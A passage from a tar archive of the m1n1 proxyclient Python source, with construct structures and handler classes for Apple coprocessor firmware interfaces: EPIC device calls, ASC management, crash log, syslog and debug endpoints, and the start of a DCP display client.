cls2 return cls2 @classmethod def matches(cls, hdr, sub): return sub.category == EPICCategory.NOTIFY and sub.type == cls.TYPE def check_retcode(self): if self.rets.retcode: self.dump() raise ValueError(f"retcode {self.rets.retcode} in {str(type(self))} (call dumped, see above)") @WrappedCall.reg_subclass class AttachDevice(WrappedCall): CALLTYPE = 0xc3_00_00_02 ARGS = Struct( "blank" / Const(0x0, Int32ul), "unk1" / Hex(Const(0xffffffff, Int32ul)), "calltype" / Hex(Const(0xc3000002, Int32ul)), "blank2" / ZPadding(16), "pad" / Padding(4), "len" / Hex(Const(0x2c, Int64ul)), "devid" / FourCC, "pad" / Padding(4), ) RETS = Struct( "retcode" / Default(Hex(Int32ul), 0), "unk" / HexDump(GreedyBytes), ) @WrappedCall.reg_subclass class ProbeDevice(WrappedCall): CALLTYPE = 0xc3_00_00_01 ARGS = Struct( "blank" / Const(0x0, Int32ul), "unk1" / Hex(Const(0xffffffff, Int32ul)), "calltype" / Hex(Const(0xc3000001, Int32ul)), "blank2" / ZPadding(16), "pad" / Padding(4), "len" / Hex(Const(0x28, Int64ul)), "devno" / Int32ul, ) RETS = Struct( "retcode" / Default(Hex(Int32ul), 0), "devid" / FourCC, "blank2" / Const(0x0, Int32ul), "unk1" / Const(8, Int32ul), "blank3" / Const(0x0, Int32ul), "unk2" / Hex(Const(0x01_0d_1c_20, Int32ul)), "blank4" / Const(0x0, Int32ul), "remainder" / HexDump(GreedyBytes), ) PDMConfig = Struct( "unk1" / Int32ul, "clockSource" / FourCC, "pdmFrequency" / Int32ul, "unk3_clk" / Int32ul, "unk4_clk" / Int32ul, "unk5_clk" / Int32ul, "channelPolaritySelect" / Hex(Int32ul), "unk7" / Hex(Int32ul), "unk8" / Hex(Int32ul), "unk9" / Hex(Int16ul), "ratios" / Struct( "r1" / Int8ul, "r2" / Int8ul, "r3" / Int8ul, "pad" / Default(Int8ul, 0), ), "filterLengths" / Hex(Int32ul), "coeff_bulk" / Int32ul, #"coefficients" / Struct( # "c1" / Int32sl[this._.ratios.r3 * 4 + 4], # "c2" / Int32sl[this._.ratios.r2 * 4 + 4], # "c3" / Int32sl[this._.ratios.r1 * 4 + 4], #), #"junk" / Padding( # this.coeff_bulk * 4 - 48 \ # - (this.ratios.r1 + this.ratios.r2 + this.ratios.r3) * 16 #), "coefficients" / Int32sl[ (this.ratios.r1 + this.ratios.r2 + this.ratios.r3) * 4 + 12 ], "junk" / Padding( lambda this: max(0, this.coeff_bulk * 4 - 48 \ - (this.ratios.r1 + this.ratios.r2 + this.ratios.r3) * 16 ) ), "unk10" / Int32ul, # maybe "micTurnOnTimeMs" / Int32ul, "blank" / ZPadding(16), "unk11" / Int32ul, "micSettleTimeMs" / Int32ul, "blank2" / ZPadding(69), ) DecimatorConfig = Struct( "latency" / Int32ul, "ratios" / Struct( "r1" / Int8ul, "r2" / Int8ul, "r3" / Int8ul, "pad" / Default(Int8ul, 0), ), "filterLengths" / Hex(Int32ul), "coeff_bulk" / Int32ul, "coefficients" / Int32sl[ (this.ratios.r1 + this.ratios.r2 + this.ratios.r3) * 4 + 12 ], "junk" / Padding( lambda this: max(0, this.coeff_bulk * 4 - 48 \ - (this.ratios.r1 + this.ratios.r2 + this.ratios.r3) * 16 ) ), ) PowerSetting = Struct( "devid" / FourCC, "cookie" / Int32ul, "pad" / Padding(4), "blank" / ZPadding(8), "target_pstate" / FourCC, "unk2" / Int32ul, "blank2" / ZPadding(20), ) DEVPROPS = { ('hpai', 202): PowerSetting, ('lpai', 202): PowerSetting, ('hpai', 200): FourCC, ('lpai', 200): FourCC, ('pdm0', 200): PDMConfig, ('pdm0', 210): DecimatorConfig, ('lpai', 301): Struct( "unk1" / Int32ul, "unk2" / Int32ul, "unk3" / Int32ul, "unk4" / Int32ul, ), } @WrappedCall.reg_subclass class GetDeviceProp(WrappedCall): CALLTYPE = 0xc3_00_00_04 ARGS = Struct( "blank" / Const(0x0, Int32ul), "unk1" / Hex(Const(0xffffffff, Int32ul)), "calltype" / Hex(Const(0xc3000004, Int32ul)), "blank2" / ZPadding(16), "pad" / Padding(4), "len" / Hex(Const(0x30, Int64ul)), "devid" / FourCC, "modifier" / Int32ul, "unk6" / Hex(Const(0x01, Int32ul)), ) RETS = Struct( "retcode" / Default(Hex(Int32ul), 0), "len" / Optional(Int32ul), "data" / Switch(lambda s: (s._params.devid, s._params.modifier), DEVPROPS, default=HexDump(GreedyBytes)) ) def read_resp(self, f): self.rets = self.RETS.parse_stream(f, devid=self.args.devid, modifier=self.args.modifier ) @WrappedCall.reg_subclass class SetDeviceProp(WrappedCall): CALLTYPE = 0xc3_00_00_05 ARGS = Struct( "blank" / Const(0x0, Int32ul), "unk1" / Hex(Const(0xffffffff, Int32ul)), "calltype" / Hex(Const(0xc3000005, Int32ul)), "blank2" / ZPadding(16), "pad" / Padding(4), "len" / Hex(Int64ul), # len(this.data) + 0x30 "devid" / FourCC, "modifier" / Int32ul, "len2" / Hex(Int32ul), # len(this.data) "data" / Switch(lambda s: (s.devid, s.modifier), DEVPROPS, default=HexDump(GreedyBytes)) ) RETS = Struct( "retcode" / Default(Hex(Int32ul), 0), "unk" / HexDump(GreedyBytes), ) def _args_fixup(self): data_len = len(self.ARGS.build(Container(len=0, len2=0, **self.args))) - 52 if 'len' not in self.args: self.args.len = data_len + 0x30 if 'len2' not in self.args: self.args.len2 = data_len @reg_calltype class IndirectCall(EPICCall): ARGS = EPICCmd RETS = EPICCmd def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.txbuf = None self.rxbuf = None @classmethod def matches(cls, hdr, sub): return sub.category == EPICCategory.COMMAND def read_txbuf(self, ep): cmd = self.args ep.dart.invalidate_cache() self.txbuf = ep.dart.ioread(0, cmd.txbuf, cmd.txlen) # dump the command data for offline replays of traces ep.log(f"===COMMAND TX DATA=== addr={cmd.txbuf:#x}") chexdump(self.txbuf) ep.log(f"===END DATA===") def read_rxbuf(self, ep): cmd = self.rets ep.dart.invalidate_cache() self.rxbuf = ep.dart.ioread(0, cmd.rxbuf, cmd.rxlen) ep.log(f"===COMMAND RX DATA=== addr={cmd.rxbuf:#x}") chexdump(self.rxbuf) ep.log(f"===END DATA===") def unwrap(self): fd = BytesIO() fd.write(b"\x00\x00\x00\x00") fd.write(self.txbuf) fd.seek(0) wrapped = WrappedCall.from_stream(fd) fd = BytesIO() fd.write(b"\x00\x00\x00\x00") fd.write(self.rxbuf) fd.seek(0) wrapped.read_resp(fd) return wrapped m1n1-1.4.11/proxyclient/m1n1/fw/asc/000077500000000000000000000000001453754430200166775ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/m1n1/fw/asc/__init__.py000066400000000000000000000073011453754430200210110ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ...utils import * from .crash import ASCCrashLogEndpoint from .syslog import ASCSysLogEndpoint from .mgmt import ASCManagementEndpoint from .kdebug import ASCKDebugEndpoint from .ioreporting import ASCIOReportingEndpoint from .oslog import ASCOSLogEndpoint from .base import ASCBaseEndpoint, ASCTimeout from ...hw.asc import ASC __all__ = [] class ASCDummyEndpoint(ASCBaseEndpoint): SHORT = "dummy" class StandardASC(ASC): ENDPOINTS = { 0: ASCManagementEndpoint, 1: ASCCrashLogEndpoint, 2: ASCSysLogEndpoint, 3: ASCKDebugEndpoint, 4: ASCIOReportingEndpoint, 8: ASCOSLogEndpoint, 0xa: ASCDummyEndpoint, # tracekit } def __init__(self, u, asc_base, dart=None, stream=0): super().__init__(u, asc_base) self.remote_eps = set() self.add_ep(0, ASCManagementEndpoint(self, 0)) self.dart = dart self.stream = stream self.eps = [] self.epcls = {} self.dva_offset = 0 self.dva_size = 1 << 32 self.allow_phys = False for cls in type(self).mro(): eps = getattr(cls, "ENDPOINTS", None) if eps is None: break for k, v in eps.items(): if k not in self.epcls: self.epcls[k] = v def addr(self, addr): return f"{addr:#x}" def iomap(self, addr, size): if self.dart is None: return addr dva = self.dva_offset | self.dart.iomap(self.stream, addr, size) self.dart.invalidate_streams(1) return dva def ioalloc(self, size): paddr = self.u.memalign(0x4000, size) dva = self.iomap(paddr, size) return paddr, dva def ioread(self, dva, size): if self.allow_phys and dva < self.dva_offset or dva >= (self.dva_offset + self.dva_size): return self.iface.readmem(dva, size) if self.dart: return self.dart.ioread(self.stream, dva & 0xFFFFFFFFF, size) else: return self.iface.readmem(dva, size) def iowrite(self, dva, data): if self.allow_phys and dva < self.dva_offset or dva >= (self.dva_offset + self.dva_size): return self.iface.writemem(dva, data) if self.dart: return self.dart.iowrite(self.stream, dva & 0xFFFFFFFFF, data) else: return self.iface.writemem(dva, data) def iotranslate(self, dva, size): if self.allow_phys and dva < self.dva_offset or dva >= (self.dva_offset + self.dva_size): return [(dva, size)] if self.dart: return self.dart.iotranslate(self.stream, dva & 0xFFFFFFFFF, size) else: return [(dva, size)] def start_ep(self, epno): if epno not in self.epcls: raise Exception(f"Unknown endpoint {epno:#x}") epcls = self.epcls[epno] ep = epcls(self, epno) self.add_ep(epno, ep) print(f"Starting endpoint #{epno:#x} ({ep.name})") self.mgmt.start_ep(epno) ep.start() def start(self): super().boot() self.mgmt.start() self.mgmt.wait_boot(3) def stop(self, state=0x10): for ep in list(self.epmap.values())[::-1]: if ep.epnum < 0x10: continue ep.stop() self.mgmt.stop(state=state) self.epmap = {} self.add_ep(0, ASCManagementEndpoint(self, 0)) if state < 0x10: self.shutdown() def boot(self): print("Booting ASC...") super().boot() self.mgmt.wait_boot(1) __all__.extend(k for k, v in globals().items() if (callable(v) or isinstance(v, type)) and v.__module__ == __name__) m1n1-1.4.11/proxyclient/m1n1/fw/asc/base.py000066400000000000000000000026771453754430200201770ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ...utils import * # System endpoints def msg_handler(message, regtype=None): def f(x): x.is_message = True x.message = message x.regtype = regtype return x return f class ASCMessage1(Register64): EP = 7, 0 class ASCTimeout(Exception): pass class ASCBaseEndpoint: BASE_MESSAGE = Register64 SHORT = None def __init__(self, asc, epnum, name=None): self.asc = asc self.epnum = epnum self.name = name or self.SHORT or f"{type(self).__name__}@{epnum:#x}" self.msghandler = {} self.msgtypes = {} for name in dir(self): i = getattr(self, name) if not callable(i): continue if not getattr(i, "is_message", False): continue self.msghandler[i.message] = i self.msgtypes[i.message] = i.regtype if i.regtype else self.BASE_MESSAGE def handle_msg(self, msg0, msg1): msg0 = self.BASE_MESSAGE(msg0) handler = self.msghandler.get(msg0.TYPE, None) regtype = self.msgtypes.get(msg0.TYPE, self.BASE_MESSAGE) if handler is None: return False return handler(regtype(msg0.value)) def send(self, msg): self.asc.send(msg, ASCMessage1(EP=self.epnum)) def start(self): pass def stop(self): pass def log(self, msg): print(f"[{self.name}] {msg}") m1n1-1.4.11/proxyclient/m1n1/fw/asc/crash.py000066400000000000000000000145671453754430200203660ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from .base import * from ...utils import * from construct import * from ...sysreg import * class CrashLogMessage(Register64): TYPE = 63, 52 SIZE = 51, 44 DVA = 43, 0 CrashHeader = Struct( "type" / Const("CLHE", FourCC), "ver" / Int32ul, "total_size" / Int32ul, "flags" / Int32ul, Padding(16) ) CrashCver = Struct( "uuid" / Bytes(16), "version" / CString("utf8"), ) CrashCstr = Struct( "id" / Int32ul, "string" / CString("utf8"), ) CrashCtim = Struct( "time" / Int64ul, ) CrashCmbx = Struct( "hdr" / Array(4, Hex(Int32ul)), "type" / Int32ul, "unk" / Int32ul, "index" / Int32ul, "messages" / GreedyRange(Struct( "endpoint" / Hex(Int64ul), "message" / Hex(Int64ul), "timestamp" / Hex(Int32ul), Padding(4), )), ) CrashCcst = Struct( "task" / Int32ul, "unk" / Int32ul, "stack" / GreedyRange(Int64ul) ) CrashCasC = Struct( "l2c_err_sts" / Hex(Int64ul), "l2c_err_adr" / Hex(Int64ul), "l2c_err_inf" / Hex(Int64ul), "lsu_err_sts" / Hex(Int64ul), "fed_err_sts" / Hex(Int64ul), "mmu_err_sts" / Hex(Int64ul) ) CrashCrg8 = Struct( "unk_0" / Int32ul, "unk_4" / Int32ul, "regs" / Array(31, Hex(Int64ul)), "sp" / Int64ul, "pc" / Int64ul, "psr" / Int64ul, "cpacr" / Int64ul, "fpsr" / Int64ul, "fpcr" / Int64ul, "unk" / Array(64, Hex(Int64ul)), "far" / Int64ul, "unk_X" / Int64ul, "esr" / Int64ul, "unk_Z" / Int64ul, ) CrashEntry = Struct( "type" / FourCC, Padding(4), "flags" / Hex(Int32ul), "len" / Int32ul, "payload" / FixedSized(lambda ctx: ctx.len - 16 if ctx.type != "CLHE" else 16, Switch(this.type, { "Cver": CrashCver, "Ctim": CrashCtim, "Cmbx": CrashCmbx, "Cstr": CrashCstr, "Crg8": CrashCrg8, "Ccst": CrashCcst, "CasC": CrashCasC, }, default=GreedyBytes)), ) CrashLog = Struct( "header" / CrashHeader, "entries" / RepeatUntil(this.type == "CLHE", CrashEntry), ) class CrashLogParser: def __init__(self, data=None, asc=None): self.asc = asc if data is not None: self.parse(data) def parse(self, data): self.data = CrashLog.parse(data) pass def default(self, entry): print(f"# {entry.type} flags={entry.flags:#x}") chexdump(entry.payload) print() def Ccst(self, entry): print(f"Call stack (task {entry.payload.task}:") for i in entry.payload.stack: if not i: break print(f" - {i:#x}") print() def CasC(self, entry): print(f"Async error info:") print(entry.payload) print() def Cver(self, entry): print(f"RTKit Version: {entry.payload.version}") print() def Crg8(self, entry): print(f"Exception info:") ctx = entry.payload addr = self.asc.addr spsr = SPSR(ctx.psr) esr = ESR(ctx.esr) elr = ctx.pc far_phys = self.asc.iotranslate(ctx.far, 1)[0][0] elr_phys = self.asc.iotranslate(ctx.pc, 1)[0][0] sp_phys = self.asc.iotranslate(ctx.sp, 1)[0][0] print(f" == Exception taken from {spsr.M.name} ==") el = spsr.M >> 2 print(f" SPSR = {spsr}") print(f" ELR = {addr(elr)}" + (f" (0x{elr_phys:x})" if elr_phys else "")) print(f" ESR = {esr}") print(f" FAR = {addr(ctx.far)}" + (f" (0x{far_phys:x})" if far_phys else "")) print(f" SP = {ctx.sp:#x}" + (f" (0x{sp_phys:x})" if sp_phys else "")) for i in range(0, 31, 4): j = min(30, i + 3) print(f" {f'x{i}-x{j}':>7} = {' '.join(f'{r:016x}' for r in ctx.regs[i:j + 1])}") if elr_phys: v = self.asc.p.read32(elr_phys) print() if v == 0xabad1dea: print(" == Faulting code is not available ==") else: print(" == Faulting code ==") dist = 16 self.asc.u.disassemble_at(elr_phys - dist * 4, (dist * 2 + 1) * 4, elr_phys) print() def Cstr(self, entry): print(f"Message {entry.payload.id}: {entry.payload.string}") print() def Ctim(self, entry): print(f"Crash time: {entry.payload.time:#x}") print() def Cmbx(self, entry): print(f"Mailbox log (type {entry.payload.type}, index {entry.payload.index}):") for i, msg in enumerate(entry.payload.messages): print(f" #{i:3d} @{msg.timestamp:#10x} ep={msg.endpoint:#4x} {msg.message:#18x}") print() def CLHE(self, entry): pass def dump(self): print("### Crash dump:") print() for entry in self.data.entries: getattr(self, entry.type, self.default)(entry) class ASCCrashLogEndpoint(ASCBaseEndpoint): SHORT = "crash" BASE_MESSAGE = CrashLogMessage def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.iobuffer = None self.iobuffer_dva = None self.started = False @msg_handler(0x1) def Handle(self, msg): if self.started: return self.handle_crashed(msg) else: return self.handle_getbuf(msg) def handle_getbuf(self, msg): if msg.DVA: size = 0x1000 * msg.SIZE self.iobuffer_dva = msg.DVA self.log(f"buf prealloc at dva {self.iobuffer_dva:#x}") else: size = align(0x1000 * msg.SIZE, 0x4000) self.iobuffer, self.iobuffer_dva = self.asc.ioalloc(size) self.log(f"buf {self.iobuffer:#x} / {self.iobuffer_dva:#x}") self.send(CrashLogMessage(TYPE=1, SIZE=size // 0x1000, DVA=self.iobuffer_dva)) self.started = True return True def crash_soft(self): self.send(0x40) def crash_hard(self): self.send(0x22) def handle_crashed(self, msg): size = 0x1000 * msg.SIZE self.log(f"Crashed!") crashdata = self.asc.ioread(msg.DVA, size) open("crash.bin", "wb").write(crashdata) clog = CrashLogParser(crashdata, self.asc) clog.dump() raise Exception("ASC crashed!") return True if __name__ == "__main__": import sys crashdata = open(sys.argv[1], "rb").read() clog = CrashLogParser(crashdata) clog.dump() m1n1-1.4.11/proxyclient/m1n1/fw/asc/ioreporting.py000066400000000000000000000032621453754430200216150ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from .base import * from ...utils import * class IOReportingMessage(Register64): TYPE = 63, 52 class IOReporting_GetBuf(IOReportingMessage): TYPE = 63, 52, Constant(1) SIZE = 51, 44 DVA = 43, 0 class IOReporting_Start(IOReportingMessage): TYPE = 63, 52, Constant(0xc) class IOReporting_Report(IOReportingMessage): TYPE = 63, 52, Constant(0x8) class ASCIOReportingEndpoint(ASCBaseEndpoint): BASE_MESSAGE = IOReportingMessage SHORT = "iorep" def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.iobuffer = None self.iobuffer_dva = None @msg_handler(1, IOReporting_GetBuf) def GetBuf(self, msg): if self.iobuffer: self.log("WARNING: trying to reset iobuffer!") if msg.DVA != 0: self.bufsize = 0x1000 * msg.SIZE self.iobuffer = self.iobuffer_dva = msg.DVA self.log(f"buf prealloc {self.iobuffer:#x} / {self.iobuffer_dva:#x}") else: self.bufsize = align(0x1000 * msg.SIZE, 0x4000) self.iobuffer, self.iobuffer_dva = self.asc.ioalloc(self.bufsize) self.log(f"buf {self.iobuffer:#x} / {self.iobuffer_dva:#x}") self.send(IOReporting_GetBuf(DVA=self.iobuffer_dva, SIZE=self.bufsize // 0x1000)) return True @msg_handler(0xc, IOReporting_Start) def Start(self, msg): self.log("start") return True @msg_handler(8, IOReporting_Report) def Init(self, msg): self.log("report!") buf = self.asc.iface.readmem(self.iobuffer, self.bufsize) #chexdump(buf) self.send(IOReporting_Report()) return True m1n1-1.4.11/proxyclient/m1n1/fw/asc/kdebug.py000066400000000000000000000031371453754430200205160ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from .base import * from ...utils import * class KDebugMessage(Register64): TYPE = 55, 48 class KDebugGetBufMessage(KDebugMessage): TYPE = 55, 48, Constant(1) COUNT = 47, 0 class KDebugPreallocBuf1Message(KDebugMessage): TYPE = 55, 48, Constant(2) DVA = 47, 12 FLAGS = 11, 0 class KDebugPreallocBuf2Message(KDebugMessage): TYPE = 55, 48, Constant(3) DVA = 47, 0 class KDebugSendBufMessage(KDebugMessage): TYPE = 55, 48 DVA = 47, 0 class KDebugStart(KDebugMessage): TYPE = 55, 48, Constant(8) class ASCKDebugEndpoint(ASCBaseEndpoint): SHORT = "kdebug" BASE_MESSAGE = KDebugMessage @msg_handler(1, KDebugGetBufMessage) def GetBuf(self, msg): size = align_up(msg.COUNT * 0x20, 0x4000) self.iobuffer0, self.iobuffer0_iova = self.asc.ioalloc(size) self.send(KDebugSendBufMessage(TYPE=1, DVA=self.iobuffer0_iova)) self.iobuffer1, self.iobuffer1_iova = self.asc.ioalloc(0x2000) self.send(KDebugSendBufMessage(TYPE=2, DVA=self.iobuffer1_iova)) return True @msg_handler(2, KDebugPreallocBuf1Message) def SetBuf1(self, msg): #self.send(KDebugSendBufMessage(TYPE=1, DVA=msg.DVA)) return True @msg_handler(3, KDebugPreallocBuf2Message) def SetBuf2(self, msg): #self.send(KDebugSendBufMessage(TYPE=2, DVA=msg.DVA)) return True def start(self): self.iobuffer0 = None self.iobuffer1 = None self.iobuffer0_iova = None self.iobuffer1_iova = None self.send(KDebugStart()) m1n1-1.4.11/proxyclient/m1n1/fw/asc/mgmt.py000066400000000000000000000076471453754430200202330ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import time from .base import * from ...utils import * ## Management endpoint class ManagementMessage(Register64): TYPE = 59, 52 class Mgmt_Hello(ManagementMessage): TYPE = 59, 52, Constant(1) MAX_VER = 31, 16 MIN_VER = 15, 0 class Mgmt_HelloAck(ManagementMessage): TYPE = 59, 52, Constant(2) MAX_VER = 31, 16 MIN_VER = 15, 0 class Mgmt_Ping(ManagementMessage): TYPE = 59, 52, Constant(3) class Mgmt_Pong(ManagementMessage): TYPE = 59, 52, Constant(4) class Mgmt_StartEP(ManagementMessage): TYPE = 59, 52, Constant(5) EP = 39, 32 FLAG = 1, 0 class Mgmt_SetIOPPower(ManagementMessage): TYPE = 59, 52, Constant(6) STATE = 15, 0 class Mgmt_IOPPowerAck(ManagementMessage): TYPE = 59, 52, Constant(7) STATE = 15, 0 class Mgmt_EPMap(ManagementMessage): TYPE = 59, 52, Constant(8) LAST = 51 BASE = 34, 32 BITMAP = 31, 0 class Mgmt_EPMap_Ack(ManagementMessage): TYPE = 59, 52, Constant(8) LAST = 51 BASE = 34, 32 MORE = 0 class Mgmt_SetAPPower(ManagementMessage): TYPE = 59, 52, Constant(0xb) STATE = 15, 0 class ASCManagementEndpoint(ASCBaseEndpoint): BASE_MESSAGE = ManagementMessage SHORT = "mgmt" def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.syslog_started = False self.iop_power_state = 0 self.ap_power_state = 0 self.verbose = 1 @msg_handler(1, Mgmt_Hello) def Hello(self, msg): self.log(f"Supported versions {msg.MIN_VER} .. {msg.MAX_VER}") # FIXME: we pick the highest version, we should negotiate self.send(Mgmt_HelloAck(MIN_VER=msg.MAX_VER, MAX_VER=msg.MAX_VER)) return True @msg_handler(8, Mgmt_EPMap) def EPMap(self, msg): for i in range(32): if msg.BITMAP & (1 << i): epno = 32 * msg.BASE + i self.asc.eps.append(epno) if self.verbose > 0: self.log(f"Adding endpoint {epno:#x}") self.send(Mgmt_EPMap_Ack(BASE=msg.BASE, LAST=msg.LAST, MORE=0 if msg.LAST else 1)) if msg.LAST: for ep in self.asc.eps: if ep == 0: continue if ep < 0x10: self.asc.start_ep(ep) self.boot_done() return True @msg_handler(0xb, Mgmt_SetAPPower) def APPowerAck(self, msg): if self.verbose > 0: self.log(f"AP power state is now {msg.STATE:#x}") self.ap_power_state = msg.STATE return True @msg_handler(7, Mgmt_IOPPowerAck) def IOPPowerAck(self, msg): if self.verbose > 0: self.log(f"IOP power state is now {msg.STATE:#x}") self.iop_power_state = msg.STATE return True @msg_handler(4, Mgmt_Pong) def Pong(self, msg): return True def start(self): self.log("Starting via message") self.send(Mgmt_SetIOPPower(STATE=0x220)) def wait_boot(self, timeout=None): if timeout is not None: timeout += time.time() while self.iop_power_state != 0x20 or self.ap_power_state != 0x20: self.asc.work() if timeout and time.time() > timeout: raise ASCTimeout("Boot timed out") self.log("Startup complete") def start_ep(self, epno): self.send(Mgmt_StartEP(EP=epno, FLAG=2)) def stop_ep(self, epno): self.send(Mgmt_StartEP(EP=epno, FLAG=1)) def boot_done(self): self.send(Mgmt_SetAPPower(STATE=0x20)) def ping(self): self.send(Mgmt_Ping()) def stop(self, state=0x10): self.log("Stopping via message") self.send(Mgmt_SetAPPower(STATE=0x10)) while self.ap_power_state == 0x20: self.asc.work() self.send(Mgmt_SetIOPPower(STATE=state)) while self.iop_power_state != state: self.asc.work() m1n1-1.4.11/proxyclient/m1n1/fw/asc/oslog.py000066400000000000000000000022431453754430200203750ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from .base import * from ...utils import * ## OSLog endpoint class OSLogMessage(Register64): TYPE = 63, 56 class OSLog_GetBuf(OSLogMessage): TYPE = 63, 56, Constant(1) SIZE = 55, 48 DVA = 47, 0 class ASCOSLogEndpoint(ASCBaseEndpoint): BASE_MESSAGE = OSLogMessage SHORT = "iorep" def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.iobuffer = None self.iobuffer_dva = None @msg_handler(1, OSLog_GetBuf) def GetBuf(self, msg): if self.iobuffer: self.log("WARNING: trying to reset iobuffer!") if msg.DVA != 0: self.bufsize = 0x1000 * msg.SIZE self.iobuffer = self.iobuffer_dva = msg.DVA << 12 self.log(f"buf prealloc {self.iobuffer:#x} / {self.iobuffer_dva:#x}") else: self.bufsize = align(0x1000 * msg.SIZE, 0x4000) self.iobuffer, self.iobuffer_dva = self.asc.ioalloc(self.bufsize) self.log(f"buf {self.iobuffer:#x} / {self.iobuffer_dva:#x}") self.send(OSLog_GetBuf(DVA=self.iobuffer_dva >> 12, SIZE=self.bufsize // 0x1000)) return True m1n1-1.4.11/proxyclient/m1n1/fw/asc/syslog.py000066400000000000000000000041321453754430200205710ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import struct from .base import * from ...utils import * ## Syslog endpoint class SyslogMessage(Register64): TYPE = 59, 52 class Syslog_Init(SyslogMessage): TYPE = 59, 52, Constant(8) ENTRYSIZE = 39, 24 COUNT = 15, 0 class Syslog_GetBuf(SyslogMessage): TYPE = 59, 52, Constant(1) SIZE = 51, 44 DVA = 43, 0 class Syslog_Log(SyslogMessage): TYPE = 59, 52, Constant(5) INDEX = 7, 0 class ASCSysLogEndpoint(ASCBaseEndpoint): BASE_MESSAGE = SyslogMessage SHORT = "syslog" def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.entrysize = None self.count = None self.iobuffer = None self.iobuffer_dva = None self.started = False @msg_handler(8, Syslog_Init) def Init(self, msg): self.entrysize = msg.ENTRYSIZE self.count = msg.COUNT self.log(f"count {self.count}, entrysize {self.entrysize}") return True @msg_handler(1, Syslog_GetBuf) def GetBuf(self, msg): size = align(0x1000 * msg.SIZE, 0x4000) if self.iobuffer: print("WARNING: trying to reset iobuffer!") if msg.DVA: self.iobuffer_dva = msg.DVA self.log(f"buf prealloc at dva {self.iobuffer_dva:#x}") else: self.iobuffer, self.iobuffer_dva = self.asc.ioalloc(size) self.log(f"buf {self.iobuffer:#x} / {self.iobuffer_dva:#x}") self.send(Syslog_GetBuf(SIZE=size // 0x1000, DVA=self.iobuffer_dva)) self.started = True return True @msg_handler(5, Syslog_Log) def Log(self, msg): stride = 0x20 + self.entrysize log = self.asc.ioread(self.iobuffer_dva + msg.INDEX * stride, stride) hdr, unk, context, logmsg = struct.unpack(f"> 24) & 0x1f size = tag & 0xffffff #print(f"{' '*level} @{stream.tell():#x} {otype} {last} {size}") if otype == 1: d = {} for i in range(size): k, l = self.parse_obj(stream, level + 1) assert not l v, l = self.parse_obj(stream, level + 1) assert l == (i == size - 1) d[k] = v elif otype == 2: d = [] for i in range(size): v, l = self.parse_obj(stream, level + 1) assert l == (i == size - 1) d.append(v) elif otype == 4: d = Int64ul.parse_stream(stream) elif otype == 9: d = stream.read(size).decode("utf-8") elif otype == 10: d = stream.read(size) elif otype == 11: d = bool(size) else: raise Exception(f"Unknown tag {otype}") #print(f"{' '*level} => {d}") return d, last def build_obj(self, obj, stream, last=True, level=0): tag = 0 if last: tag |= 0x80000000 if isinstance(obj, dict): tag |= (1 << 24) | len(obj) Int32ul.build_stream(tag, stream) for i, (k, v) in enumerate(obj.items()): self.build_obj(k, stream, False, level + 1) self.build_obj(v, stream, i == len(obj) - 1, level + 1) elif isinstance(obj, list): tag |= (2 << 24) | len(obj) Int32ul.build_stream(tag, stream) for i, v in enumerate(obj): self.build_obj(v, stream, i == len(obj) - 1, level + 1) elif isinstance(obj, int): tag |= (4 << 24) | 64 Int32ul.build_stream(tag, stream) Int64ul.build_stream(obj, stream) elif isinstance(obj, str): obj = obj.encode("utf-8") tag |= (9 << 24) | len(obj) Int32ul.build_stream(tag, stream) stream.write(obj) elif isinstance(obj, bytes): tag |= (10 << 24) | len(obj) Int32ul.build_stream(tag, stream) stream.write(obj) elif isinstance(obj, bool): tag |= (11 << 24) | int(obj) Int32ul.build_stream(tag, stream) else: raise Exception(f"Cannot encode {obj!r}") pos = stream.tell() if pos & 3: stream.write(bytes(4 - (pos & 3))) def _build(self, obj, stream, context, path): Int32ul.build_stream(0xd3, stream) self.build_obj(obj, stream) def _sizeof(self, context, path): return None def string(size): return Padded(size, CString("utf8")) m1n1-1.4.11/proxyclient/m1n1/fw/dcp/000077500000000000000000000000001453754430200166775ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/m1n1/fw/dcp/__init__.py000066400000000000000000000000401453754430200210020ustar00rootroot00000000000000# SPDX-License-Identifier: MIT m1n1-1.4.11/proxyclient/m1n1/fw/dcp/client.py000066400000000000000000000006201453754430200205250ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ...utils import * from ..asc import StandardASC from .dcpep import DCPEndpoint from ..afk.epic import * class DCPClient(StandardASC): ENDPOINTS = { 0x20: AFKSystemEndpoint, 0x37: DCPEndpoint, } def __init__(self, u, asc_base, dart=None, disp_dart=None): super().__init__(u, asc_base, dart) self.disp_dart = disp_dart m1n1-1.4.11/proxyclient/m1n1/fw/dcp/dcpav.py000066400000000000000000000044541453754430200203550ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from construct import * from ...utils import * from ..asc import StandardASC from ..afk.epic import * class DCPAVControllerService(EPICStandardService): NAME = "dcpav-controller-epic" SHORT = "dcpav" def setPower(self, power): self.call(8, 0x8, struct.pack("<16xI12x", power)) def getPower(self, power): return struct.unpack("<16xI12x", self.call(8, 0x9, bytes(32))) def wakeDisplay(self): self.call(8, 0xa, bytes(16)) def sleepDisplay(self): self.call(8, 0xb, bytes(16)) def forceHotPlugDetect(self): self.call(8, 0xc, bytes(16)) def setVirtualDeviceMode(self, mode): self.call(8, 0xd, struct.pack("<16xI12x", mode)) class DCPDPControllerService(EPICStandardService): NAME = "dcpdp-controller-epic" SHORT = "dcpdp" class DCPDPTXEndpoint(EPICEndpoint): SHORT = "dptx" SERVICES = [ DCPAVControllerService, DCPDPControllerService, ] ATC0 = 0 ATC1 = 1 ATC2 = 2 ATC3 = 3 LPDPTX = 4 DPTX = 5 DPPHY = 0 DPIN0 = 1 DPIN1 = 2 class DCPDPTXRemotePortService(EPICStandardService): NAME = 